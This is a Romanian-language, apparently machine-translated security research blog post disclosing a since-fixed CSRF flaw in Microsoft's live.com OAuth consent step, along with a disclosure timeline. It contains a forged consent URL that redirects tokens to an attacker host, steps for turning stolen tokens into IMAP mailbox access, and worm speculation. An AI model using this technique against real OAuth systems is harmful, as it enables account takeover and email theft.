la Synack ne bucurăm cu adevărat de vulnerabilități mari, fie în web, mobil, gazdă sau chiar în dispozitive și sisteme complet scandaloase (hacking prin satelit pe cineva?). Dar păstrăm întotdeauna marile descoperiri pe care noi și SRT le-am făcut pentru clienții noștri confidențiale. Deci, în timp ce acest lucru nu va fi un post despre un vuln mare într-un client Synack, acesta acoperă tipul exact de lucru pe care le vedem săptămânal sau uneori zilnic: o vulnerabilitate într-un sistem cu milioane de utilizatori care duce la un compromis complet de securitate a sistemului.

am găsit recent o vulnerabilitate în Microsoft Live.com sistem de autentificare, care, dacă aveți un cont cu orice serviciu Microsoft, probabil că v-ar fi afectat. Această postare descrie detaliile complete ale Vulnerabilității acum că Microsoft a remediat problema.

Introducere

înțelegerea de către o persoană obișnuită a securității computerelor a fost întotdeauna destul de limitată. Înapoi în a doua zi, dacă cineva a auzit că ai fost implicat în securitatea calculatorului, întrebarea standard ar fi „poți hack Hotmail meu”, sau mai des, „poți hack Hotmail prietenului meu”. Presupun că înapoi în ziua oamenii încă folosit Yahoo mail și Microsoft a avut încă să achiziționeze Hotmail, dar asta e un pic prea departe înapoi! În mod inevitabil, fie sugerați ca persoana să ghicească întrebările de resetare a parolei persoanei, fie să instaleze Sub7. De fapt, hacking Hotmail a fost obligat să fie prea dificil, să nu mai vorbim în întregime ilegal.

lumea securității informațiilor s-a schimbat foarte mult în ultimii ani și, spre deosebire de anii trecuți, Microsoft încurajează acum pe deplin cercetătorii de securitate să încerce să „pirateze Hotmail”. Desigur, Hotmail a fost transformat în Outlook.com, și în aceste zile toată lumea vrea să știe dacă puteți hack Facebook lor, dar asta e pe lângă punctul.

programul de recompense Microsoft Online Services a fost actualizat recent pentru a include” contul Microsoft ” ca țintă, care este practic sistemele de conectare găzduite la fiecare dintre aceste domenii:
– login.windows.net
– login.microsoftonline.com
– login.live.com

în lista de mai sus, login.live.com este sistemul de autentificare prin care veți trece dacă încercați să vă autentificați Outlook.com și un număr mare de alte servicii Microsoft. Am decis să o examinez mai întâi pentru a vedea dacă pot descoperi probleme. Așa cum era de așteptat, diferitele API-uri folosite pentru a procesa o autentificare păreau să fie bine întărite. Straturi suplimentare de protecție au existat în multe locuri; de exemplu, în unele locuri parolele sunt criptate cu o cheie publică înainte de transmitere, în ciuda tuturor comunicărilor care au loc prin HTTPS.

după ce am testat câteva ore, am descoperit câteva probleme minore pe care le-am raportat, dar nimic cu adevărat notabil. Când testez aplicații web, găsesc adesea că cel mai comun flux de lucru este și cel mai sigur, așa că m-am extins la examinarea altor modalități prin care un utilizator s-ar putea autentifica la live.com sistem. Aproape un an în urmă am găsit mai multe vulnerabilități OAuth în Yammer, care a fost, de asemenea, o țintă de recompense Microsoft Online Services, Deci acolo am căutat live.com. de aici încep descoperirile interesante!

fundal vulnerabilitate

înainte de a ajunge direct în vulnerabilitatea descoperit, este necesară o privire de ansamblu rapidă a sistemului de securitate greșit cunoscut sub numele de OAuth:

Wikipedia îmi spune că „OAuth oferă aplicațiilor client un”acces delegat securizat” la resursele serverului în numele unui proprietar de resurse”. Wikipedia are, de asemenea, câteva comentarii dureroase cu privire la evoluția și securitatea sa, care merită citite pentru un râs bun. În mod realist, tot ceea ce face OAuth este să permită unui utilizator să acorde acces la o parte sau la tot accesul contului său la o terță parte. Am făcut un desen MS Paint pentru a ilustra acest lucru, deoarece nu am putut găsi unul grozav pe Wikipedia.

după cum se poate vedea în imaginea de mai sus, aveți un Server pe care Utilizatorul l-a autorizat să ofere acces la contul său unei aplicații Client. Mecanismul care gestionează acest lucru în culise poate fi construit în mai multe moduri diferite, care sunt definite în OAuth RFC. O modalitate de a-l construi este un flux de autentificare „implicit”, care implică serverul de autentificare care oferă o cheie de acces direct clientului. O altă modalitate populară este de a utiliza o procedură „cod de autorizare”, în care serverul de autentificare dă un cod de autorizare, pe care sistemul client îl ia și apoi schimbă o cheie de acces folosind valoarea secretă a clientului. Microsoft are o descriere bună a utilizării lor a modului în care au implementat aceste mecanisme pentru live.com aici:
https://msdn.microsoft.com/en-us/library/hh243647.aspx

graficul pe care l-au realizat pentru fluxul „cod de autorizare” arată astfel:

o astfel de imagine este excelentă pentru înțelegerea procesului, dar pentru mine, ca tester de stilou, arată, de asemenea, o mulțime de oportunități și locuri pentru ca lucrurile să meargă prost. Deci, cu asta ca fundal, cu privire la ceea ce a fost descoperit!

Ce Ar Putea Merge Prost?

după cum sa menționat în secțiunea de mai sus, există o mulțime de locuri în care ceva ar putea merge prost. Unul dintre pașii fundamentali din procedura de autentificare OAuth este ca un utilizator să aleagă să acorde acces unei aplicații. Acest lucru se realizează de obicei printr-un prompt ca acesta:

în general, un utilizator va trebui să accepte acest prompt o singură dată, dar până când îl acceptă, acea aplicație nu va avea acces la contul lor (dacă utilizatorul mediu va permite sau nu aplicației rele a lui Wes să aibă acces este poate o altă întrebare!).

gândindu-ne ca atacator, ar fi cu siguranță minunat dacă am putea accepta cererea în numele utilizatorului. Din păcate pentru mine, antetul „X-Frame-Options” a fost setat la „deny” (setările X-Frame-options au fost în afara domeniului de aplicare și pentru această recompensă). Deci, în timp ce clickjacking este în afara, am decis pentru a obține o mai bună înțelegere a modului în care cererea în sine a lucrat. Dacă un utilizator face clic pe „Da”, următoarea solicitare este POST ‘ ed la server (plus unele anteturi plictisitoare):

în timp ce calea URL de mai sus include câteva jetoane generate, testarea a arătat că acestea nu erau necesare pentru ca cererea să aibă succes. O postare la următoarea adresă URL ar funcționa la fel de bine:

https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26scope % 3dwl.de bază % 26response_type % 3dcode % 26redirect_uri % 3dhttp: / / exfiltrated.com & client_id=000000004c15e107 & rd=exfiltrat.com & domeniu de aplicare=wl.basic

cookie-ul trimis cu solicitarea necesară pentru a conține un token de sesiune valid în „IPT”. Această valoare a cookie-ului este populată de Https://login.live.com/oauth20_authorize.srf înainte de afișarea paginii care solicită permisiunea utilizatorului. Acest lucru se întâmplă indiferent dacă un utilizator face clic sau nu pe „Da”, deși este setat de un cod Javascript, deci dacă atacăm acest proces, ar trebui să forțăm utilizatorul să încarce acea pagină la un moment dat.

dacă urmăriți, sperăm că acum întrebați: „OK, deci ce zici de cererea de postare în sine și de valoarea canarului?”. Am examinat mai întâi toți ceilalți parametri și fluxurile de comunicații, deoarece a vedea o valoare etichetată „canar” trimisă cu o cerere de postare înseamnă aproape sigur că este folosită ca simbol pentru a preveni atacurile CSRF. Cu toate acestea, punctul de testare a securității este de a verifica dacă ipotezele sunt într-adevăr corecte. Așa că am modificat cererea de postare și am schimbat valoarea canary în”hacks_go_here”. În loc să redirecționeze către o eroare 500, serverul a trimis înapoi un răspuns pozitiv!

CSRF la PoC

deoarece jetonul CSRF a fost ultimul lucru pe care am încercat să manipuleze cu, Am știut sigur că acest lucru ar trebui să facă pentru o vulnerabilitate CSRF validă. Ca și în cazul aproape fiecărui atac CSRF, singura condiție prealabilă a fost ca victima să fie conectată și să aibă un jeton de sesiune valid în cookie-ul lor. Spre deosebire de multe alte vulnerabilități web, impactul unei vulnerabilități CSRF depinde în întregime de funcția API afectată. Acest CSRF îmi permite să ocolesc etapa de interacțiune cu utilizatorul a sistemului de autentificare OAuth, dar un PoC valorează o mie de cuvinte, așa că următorul pas a fost construirea unui cod pentru a demonstra în mod corespunzător impactul acestei vulnerabilități.

în fluxul normal de autentificare OAuth, după ce utilizatorul acordă acces, serverul ar trebui să returneze un cod de acces utilizatorului. Utilizatorul transmite acest lucru aplicației client, care poate utiliza apoi permisiunile acordate. A live.com aplicația client poate solicita o gamă largă de permisiuni posibile. Am considerat doar dumping contactele utilizatorului sau ceva de genul asta, dar de ce sacrificiu pe scopul de hacking Hotmail acum? Permisiunile PoC necesare atunci au fost:

wl.offline_access + wl.imap

Offline nu a fost tot ceea ce este necesar, dar l-am aruncat pentru a arăta că va fi acordat.

cu permisiunile necesare alese, există 4 pași pentru a avea acces la contul de e-mail al unui utilizator:

1) trebuie să facem o cerere de autorizare pentru aplicația noastră client folosind permisiunile de mai sus. Serverul va solicita utilizatorului să accepte sau să refuze.
2) Când un utilizator acceptă cererea noastră pentru aceste permisiuni, serverul va adăuga un parametru „#access_token=<token>” la redirecționarea pe care o instruim să o ia.
3) deoarece scripturile noastre din partea serverului vor avea nevoie de acces la acea valoare, trebuie să facem o pagină simplă pentru a lua jetonul din câmpul URL al browserului și a-l transmite serverului nostru.
4) în cele din urmă avem nevoie de unele scripturi server side pentru a lua acel jeton, și să-l utilizați pentru a vă conecta la IMAP. Microsoft are un proces oarecum complicat pentru utilizarea tokenului OAuth pentru a vă conecta direct prin IMAP. Există câteva biblioteci de eșantioane pentru aceasta, iar întregul proces este descris pe această pagină:
https://msdn.microsoft.com/en-us/library/dn440163.aspx

acest flux de lucru ar funcționa bine presupunând că utilizatorul alege să ne dea permisiunea. Acum trebuie doar să modific fluxul de lucru pentru a include în schimb CSRF. După cum sa menționat mai devreme live.com serverul de autentificare va aștepta un token de sesiune în cookie-ul IPT. Ne putem asigura că este populat de prima trimiterea utilizatorului la o pagină validhttps: / / login. live. com / oauth20_authorize.srf. Imediat după, putem executa solicitarea CSRF care va face uz de valoarea cookie nou populate. Acest lucru poate înlocui acum Pasul 1 și poate forța serverul să sară imediat la Pasul 2.

Demo și Impact

Microsoft a rezolvat acum această problemă, dar iată un videoclip rapid care o arată în acțiune.

după cum se poate vedea în videoclip, tot ceea ce este cu adevărat necesar este să convingi victima să viziteze pagina dvs. web rău intenționată. Demo-ul nu a fost conceput pentru a fi ascuns și a rula în fundalul unui site web sau ca parte a unui anunț banner rău intenționat, dar cu siguranță ar fi putut fi făcut în acest fel.

folosirea acestui lucru ca atac vizat are cu siguranță un impact mare, dar acesta este și tipul perfect de vulnerabilitate pentru a se transforma într-un vierme. Cu IMAP și acces carte de contact, un vierme ar putea E-mail cu ușurință toate contactele unui utilizator (sau cel puțin cei care folosesc Hotmail, Outlook.com, etc), cu ceva ispititor, „ILOVEYOU” stil virus, și răspândit la fiecare utilizator care face clic pe link-ul.

Gânduri finale și cronologie

vânătoare pentru această vulnerabilitate și de a face un PoC de lucru a implicat o cantitate justă de efort săpat prin diferite live.com API. Privind înapoi la toate acestea, aceasta este într-adevăr doar o vulnerabilitate clasică CSRF. Singurul lucru surprinzător este că se află într-un sistem critic de autentificare care poate fi folosit în cele din urmă pentru a prelua contul oricărui utilizator.

ca un tester exterior nu am nici o idee cât timp această vulnerabilitate poate fi existat, sau dacă cineva a încercat vreodată să-l exploateze. În același timp, constatările de acest gen arată cu siguranță valoarea de a permite testerilor externi să prezinte vulnerabilități companiei dvs. înainte ca atacatorii să le folosească împotriva dvs. Microsoft este cu mult înaintea majorității companiilor atunci când vine vorba de securitate și totuși este încă suceptibilă la probleme precum aceasta. Experiența Synack a fost că vulnerabilitățile sunt descoperite chiar și în sisteme aparent bine securizate atunci când un grup mare de cercetători externi testează acel sistem. Aceasta este, în esență, premisa pe care Synack operează și de aceea tot mai multe companii își oferă propriile programe de recompense (eu, desigur, aș recomanda programul Synack peste rularea ta!).

după cum se poate vedea în cronologia de mai jos, Microsoft a fost receptiv în obținerea unei soluții pentru această problemă, ceea ce a fost minunat de văzut.

cronologie:
23 August 2015: vulnerabilitate descoperită
25 August 2015: vulnerabilitate raportată la Microsoft
31 August 2015: Microsoft emite numărul cazului pentru vulnerabilitate
15 septembrie 2015: Microsoft lansează o soluție pentru problemă,emite 24.000 USD bounty (double bounties promo)